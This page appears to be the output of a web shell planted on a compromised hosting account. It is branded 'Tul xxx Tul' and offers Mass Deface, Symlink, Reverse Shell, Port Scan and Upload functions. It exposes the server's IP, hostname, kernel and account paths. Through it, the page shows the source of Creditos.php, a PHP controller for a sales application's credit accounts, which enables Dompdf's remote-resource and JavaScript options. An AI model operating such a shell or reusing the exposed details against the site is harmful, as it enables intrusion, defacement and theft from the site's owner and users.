Tul xxx Tul
User / IP
:
216.73.217.21
Host / Server
:
45.84.207.204 / aircan.me
System
:
Linux lt-bnk-web1726.main-hosting.eu 5.14.0-611.36.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Mar 3 11:23:52 EST 2026 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
u931257429
/
domains
/
aircan.me
/
public_html
/
vendefacil
/
controllers
/
Viewing: Creditos.php
<?php require 'vendor/autoload.php'; use Dompdf\Dompdf; class Creditos extends Controller { private $id_usuario, $id_sucursal; private function getFacturaStyles() { $cssPath = __DIR__ . '/../assets/css/factura.css'; if (!file_exists($cssPath)) { return ''; } $css = file_get_contents($cssPath); return $css !== false ? $css : ''; } private function getLogoDataUri() { $logoPath = __DIR__ . '/../assets/images/logo.png'; if (!file_exists($logoPath)) { return null; } $logo = file_get_contents($logoPath); if ($logo === false) { return null; } return 'data:image/png;base64,' . base64_encode($logo); } public function __construct() { parent::__construct(); session_start(); if (empty($_SESSION['id_usuario'])) { header('Location: ' . BASE_URL); exit; } if (!verificar('cuentas_por_cobrar')) { header('Location: ' . BASE_URL . 'admin/permisos'); exit; } $this->id_usuario = $_SESSION['id_usuario']; $this->id_sucursal = $_SESSION['id_sucursal']; } public function index() { $data['modal'] = 'credito-venta.php'; $data['script'] = 'creditos.js'; $data['title'] = 'Administrar Creditos'; $data['formasPago'] = $this->model->getFormapagosActivos(); $this->views->getView('creditos', 'porcobrar', $data); } public function listar() { $data = $this->model->getCreditos($this->id_sucursal); for ($i = 0; $i < count($data); $i++) { $credito = $this->model->getCredito($data[$i]['id']); $result = $this->model->getAbono($data[$i]['id']); $abonado = ($result['total'] == null) ? 0 : $result['total']; $restante = $data[$i]['monto'] - $abonado; if ($restante < 0.1 && $credito['estado'] == 1) { $this->model->actualizarCredito(0, $data[$i]['id']); $data[$i]['estado'] = 0; } $data[$i]['monto'] = number_format($data[$i]['monto'], 2); $data[$i]['abonado'] = number_format($abonado, 2); $data[$i]['restante'] = number_format($restante, 2); $data[$i]['venta'] = 'N°: ' . $data[$i]['id_venta']; $data[$i]['acciones'] = '<a class="btn btn-danger" href="' . BASE_URL . 'creditos/reporte/' . $data[$i]['id'] . '" target="_blank"><i class="fas fa-file-pdf"></i></a>'; if ($data[$i]['estado'] == 1) { $data[$i]['acciones'] .= ' <button class="btn btn-success" onclick="addPagoVenta(' . $data[$i]['id'] . ')"><i class="fas fa-dollar-sign"></i> Abonar</button>'; $data[$i]['estado'] = '<span class="badge bg-warning">PENDIENTE</span>'; } else if ($data[$i]['estado'] == 2) { $data[$i]['estado'] = '<span class="badge bg-danger">ANULADO</span>'; } else { $data[$i]['estado'] = '<span class="badge bg-success">COMPLETADO</span>'; } } echo json_encode($data, JSON_UNESCAPED_UNICODE); die(); } public function buscar() { $array = array(); $valor = strClean($_GET['term']); $data = $this->model->buscarPorNombre($valor); foreach ($data as $row) { $resultAbono = $this->model->getAbono($row['id']); $abonado = ($resultAbono['total'] == null) ? 0 : $resultAbono['total']; //calcular restante (monto - abono) $restante = $row['monto'] - $abonado; $result['monto'] = $row['monto']; $result['abonado'] = number_format($abonado, 2, '.', ''); $result['restante'] = number_format($restante, 2, '.', ''); $result['fecha'] = $row['fecha']; $result['id'] = $row['id']; $result['label'] = $row['nombre']; $result['telefono'] = $row['telefono']; $result['direccion'] = $row['direccion']; array_push($array, $result); } echo json_encode($array, JSON_UNESCAPED_UNICODE); die(); } public function getCredito($idCredito) { $credito = $this->model->getCredito($idCredito); $resultAbono = $this->model->getAbono($idCredito); $abonado = ($resultAbono['total'] == null) ? 0 : $resultAbono['total']; //calcular restante (monto - abono) $restante = $credito['monto'] - $abonado; $result['monto'] = $credito['monto']; $result['abonado'] = number_format($abonado, 2, '.', ''); $result['restante'] = number_format($restante, 2, '.', ''); $result['fecha'] = $credito['fecha']; $result['id'] = $credito['id']; $result['label'] = $credito['nombre']; $result['telefono'] = $credito['telefono']; $result['direccion'] = $credito['direccion']; echo json_encode($result, JSON_UNESCAPED_UNICODE); die(); } public function registrarAbono() { $verificarCaja = $this->model->getCaja($this->id_sucursal); if (empty($verificarCaja)) { $res = array('msg' => 'La CAJA ESTA CERRADA', 'type' => 'warning'); echo json_encode($res); die(); } $json = file_get_contents('php://input'); $datos = json_decode($json, true); if (!empty($datos)) { $idCredito = strClean($datos['idCredito']); $monto = strClean($datos['monto_abonar']); $id_formapago = isset($datos['id_formapago']) ? (int)strClean($datos['id_formapago']) : 1; $fecha = date('Y-m-d H:i:s'); $data = $this->model->registrarAbono($monto, $fecha, $verificarCaja['id'], $idCredito, $this->id_usuario, $id_formapago); if ($data > 0) { $credito = $this->model->getCredito($idCredito); $resultAbono = $this->model->getAbono($idCredito); $abonado = ($resultAbono['total'] == null) ? 0 : $resultAbono['total']; $restante = (float)$credito['monto'] - (float)$abonado; if ($restante < 0.1 && $credito['estado'] == 1) { $this->model->actualizarCredito(0, $idCredito); } $res = array('msg' => 'ABONO REGISTRADO', 'type' => 'success'); } else { $res = array('msg' => 'ERROR AL REGISTRAR', 'type' => 'error'); } } else { $res = array('msg' => 'TODO LOS CAMPOS SON REQUERIDO', 'type' => 'warning'); } echo json_encode($res); die(); } public function reporte($idCredito) { $data['title'] = 'Reporte'; $data['empresa'] = $this->model->getEmpresa(); $data['credito'] = $this->model->getCredito($idCredito); $data['abonos'] = $this->model->getAbonos($idCredito); $data['inline_css'] = $this->getFacturaStyles(); $data['logo'] = $this->getLogoDataUri(); if (empty($data['credito'])) { echo 'Pagina no Encontrada'; exit; } if (empty($data['empresa']) || !is_array($data['empresa'])) { $data['empresa'] = [ 'nombre' => '', 'ruc' => '', 'telefono' => '', 'direccion' => '', 'mensaje' => '' ]; } if (empty($data['abonos']) || !is_array($data['abonos'])) { $data['abonos'] = []; } ob_start(); $this->views->getView('creditos', 'reporte', $data); $html = ob_get_clean(); try { $dompdf = new Dompdf(); $options = $dompdf->getOptions(); $options->set('isJavascriptEnabled', true); $options->set('isRemoteEnabled', true); $options->set('isHtml5ParserEnabled', true); $dompdf->setOptions($options); $dompdf->loadHtml($html); $dompdf->setPaper('A4', 'vertical'); $dompdf->render(); $dompdf->stream('reporte.pdf', array('Attachment' => false)); } catch (\Throwable $e) { error_log('Error generando reporte de credito ID ' . $idCredito . ': ' . $e->getMessage()); if (!headers_sent()) { header('Content-Type: text/html; charset=UTF-8'); } echo $html; } } public function listarAbonos() { $data = $this->model->getHistorialAbonos(); for ($i = 0; $i < count($data); $i++) { $data[$i]['credito'] = 'N°: ' . $data[$i]['id_credito']; } echo json_encode($data); die(); } }
Coded With 💗 by
0x6ick